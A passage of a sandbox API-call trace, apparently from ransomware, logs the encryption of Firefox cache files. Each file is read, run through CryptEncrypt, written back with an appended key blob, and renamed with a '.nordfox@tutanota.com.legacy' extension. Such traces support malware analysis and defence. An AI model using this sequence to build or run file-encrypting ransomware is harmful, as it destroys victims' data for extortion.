lpFileSize=0x2e1f998*=5601) returned 1 [0190.470] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x15e1) returned 0x30f3888 [0190.470] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x15e1) returned 0x30f4e78 [0190.470] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0x15e1, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0x15e1, lpOverlapped=0x0) returned 1 [0190.480] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-5601, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.480] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f4e78*, nNumberOfBytesToWrite=0x15e1, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f4e78*, lpNumberOfBytesWritten=0x2e1f9bc*=0x15e1, lpOverlapped=0x0) returned 1 [0190.481] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x15e1 [0190.481] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0190.481] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30dbee0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30dbee0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0190.481] WriteFile (in: hFile=0x1b80, lpBuffer=0x30dbee0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dbee0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0190.481] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0190.481] CloseHandle (hObject=0x1b80) returned 1 [0190.481] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3BEE3D0AFFDC410177D8F779928D53F5B4B92118" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\3bee3d0affdc410177d8f779928d53f5b4b92118"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3BEE3D0AFFDC410177D8F779928D53F5B4B92118.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\3bee3d0affdc410177d8f779928d53f5b4b92118.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0190.483] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30dc618 | out: pbBuffer=0x30dc618) returned 1 [0190.483] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0190.483] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3AE6C68D35ADDCA7C407967B028013E0D14C1CAA", dwFileAttributes=0x80) returned 1 [0190.484] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30dce58 [0190.484] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0190.484] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3AE6C68D35ADDCA7C407967B028013E0D14C1CAA" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\3ae6c68d35addca7c407967b028013e0d14c1caa"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0190.484] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4747) returned 1 [0190.484] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x128b) returned 0x30f3888 [0190.484] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x128b) returned 0x30f4b20 [0190.484] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0x128b, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0x128b, lpOverlapped=0x0) returned 1 [0190.493] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-4747, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.493] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f4b20*, nNumberOfBytesToWrite=0x128b, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f4b20*, lpNumberOfBytesWritten=0x2e1f9bc*=0x128b, lpOverlapped=0x0) returned 1 [0190.493] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x128b [0190.493] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0190.493] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30dc618*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30dc618*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0190.494] WriteFile (in: hFile=0x1b80, lpBuffer=0x30dc618*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dc618*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0190.494] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0190.494] CloseHandle (hObject=0x1b80) returned 1 [0190.494] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3AE6C68D35ADDCA7C407967B028013E0D14C1CAA" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\3ae6c68d35addca7c407967b028013e0d14c1caa"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3AE6C68D35ADDCA7C407967B028013E0D14C1CAA.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\3ae6c68d35addca7c407967b028013e0d14c1caa.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0190.496] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30db490 | out: pbBuffer=0x30db490) returned 1 [0190.496] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0190.496] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3A4E2A71FA2039E9791193EE5E177FC69FFD31AD", dwFileAttributes=0x80) returned 1 [0190.496] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30dc300 [0190.496] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0190.496] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3A4E2A71FA2039E9791193EE5E177FC69FFD31AD" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\3a4e2a71fa2039e9791193ee5e177fc69ffd31ad"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0190.497] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=6296) returned 1 [0190.497] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1898) returned 0x30f3888 [0190.497] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1898) returned 0x30f5128 [0190.497] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0x1898, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0x1898, lpOverlapped=0x0) returned 1 [0190.522] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-6296, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.522] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f5128*, nNumberOfBytesToWrite=0x1898, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f5128*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1898, lpOverlapped=0x0) returned 1 [0190.522] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1898 [0190.522] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0190.522] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30db490*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30db490*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0190.523] WriteFile (in: hFile=0x1b80, lpBuffer=0x30db490*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30db490*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0190.523] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0190.523] CloseHandle (hObject=0x1b80) returned 1 [0190.523] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3A4E2A71FA2039E9791193EE5E177FC69FFD31AD" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\3a4e2a71fa2039e9791193ee5e177fc69ffd31ad"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3A4E2A71FA2039E9791193EE5E177FC69FFD31AD.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\3a4e2a71fa2039e9791193ee5e177fc69ffd31ad.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0190.525] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30db178 | out: pbBuffer=0x30db178) returned 1 [0190.525] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0190.525] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3A24CBE07E70F6A875538D4584254A734BA5E7FE", dwFileAttributes=0x80) returned 1 [0190.525] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30dbee0 [0190.525] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0190.525] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3A24CBE07E70F6A875538D4584254A734BA5E7FE" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\3a24cbe07e70f6a875538d4584254a734ba5e7fe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0190.526] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4409) returned 1 [0190.526] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1139) returned 0x30f3888 [0190.526] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1139) returned 0x30f49d0 [0190.526] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0x1139, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0x1139, lpOverlapped=0x0) returned 1 [0190.585] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-4409, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.585] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f49d0*, nNumberOfBytesToWrite=0x1139, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f49d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1139, lpOverlapped=0x0) returned 1 [0190.585] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1139 [0190.585] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0190.585] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30db178*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30db178*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0190.585] WriteFile (in: hFile=0x1b80, lpBuffer=0x30db178*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30db178*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0190.585] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0190.585] CloseHandle (hObject=0x1b80) returned 1 [0190.586] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3A24CBE07E70F6A875538D4584254A734BA5E7FE" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\3a24cbe07e70f6a875538d4584254a734ba5e7fe"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3A24CBE07E70F6A875538D4584254A734BA5E7FE.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\3a24cbe07e70f6a875538d4584254a734ba5e7fe.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0190.588] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30db178 | out: pbBuffer=0x30db178) returned 1 [0190.588] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0190.588] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3A0ECB43758CBB8B533A8A2C1A14DAD94AF73D59", dwFileAttributes=0x80) returned 1 [0190.588] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30db9b8 [0190.588] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0190.588] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3A0ECB43758CBB8B533A8A2C1A14DAD94AF73D59" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\3a0ecb43758cbb8b533a8a2c1a14dad94af73d59"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0190.589] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=3837) returned 1 [0190.589] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xefd) returned 0x30f3888 [0190.589] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xefd) returned 0x30f4790 [0190.589] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0xefd, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0xefd, lpOverlapped=0x0) returned 1 [0190.590] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3837, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.590] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f4790*, nNumberOfBytesToWrite=0xefd, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f4790*, lpNumberOfBytesWritten=0x2e1f9bc*=0xefd, lpOverlapped=0x0) returned 1 [0190.590] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xefd [0190.590] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0190.590] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30db178*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30db178*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0190.590] WriteFile (in: hFile=0x1b80, lpBuffer=0x30db178*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30db178*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0190.590] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0190.591] CloseHandle (hObject=0x1b80) returned 1 [0190.591] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3A0ECB43758CBB8B533A8A2C1A14DAD94AF73D59" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\3a0ecb43758cbb8b533a8a2c1a14dad94af73d59"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3A0ECB43758CBB8B533A8A2C1A14DAD94AF73D59.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\3a0ecb43758cbb8b533a8a2c1a14dad94af73d59.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0190.652] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30dc0f0 | out: pbBuffer=0x30dc0f0) returned 1 [0190.652] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0190.652] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\39CC8AA9054EC6244CA281EEA4BD937517E2861D", dwFileAttributes=0x80) returned 1 [0190.653] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30db388 [0190.653] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0190.654] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\39CC8AA9054EC6244CA281EEA4BD937517E2861D" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\39cc8aa9054ec6244ca281eea4bd937517e2861d"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0190.654] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=20431) returned 1 [0190.654] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4fcf) returned 0x30df058 [0190.654] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4fcf) returned 0x30e4030 [0190.654] ReadFile (in: hFile=0x1b80, lpBuffer=0x30df058, nNumberOfBytesToRead=0x4fcf, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30df058*, lpNumberOfBytesRead=0x2e1f9bc*=0x4fcf, lpOverlapped=0x0) returned 1 [0190.656] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-20431, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.656] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e4030*, nNumberOfBytesToWrite=0x4fcf, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e4030*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4fcf, lpOverlapped=0x0) returned 1 [0190.657] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4fcf [0190.657] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0190.657] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30dc0f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30dc0f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0190.657] WriteFile (in: hFile=0x1b80, lpBuffer=0x30dc0f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dc0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0190.658] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0190.658] CloseHandle (hObject=0x1b80) returned 1 [0190.658] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\39CC8AA9054EC6244CA281EEA4BD937517E2861D" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\39cc8aa9054ec6244ca281eea4bd937517e2861d"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\39CC8AA9054EC6244CA281EEA4BD937517E2861D.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\39cc8aa9054ec6244ca281eea4bd937517e2861d.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0190.661] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30f4d50 | out: pbBuffer=0x30f4d50) returned 1 [0190.661] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0190.661] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\37D63D8E3209E1320DA8FE39BB8886154CC74653", dwFileAttributes=0x80) returned 1 [0190.661] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30f5380 [0190.661] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0190.662] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\37D63D8E3209E1320DA8FE39BB8886154CC74653" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\37d63d8e3209e1320da8fe39bb8886154cc74653"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0190.662] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4454) returned 1 [0190.662] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1166) returned 0x30f5890 [0190.662] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1166) returned 0x30db048 [0190.662] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f5890, 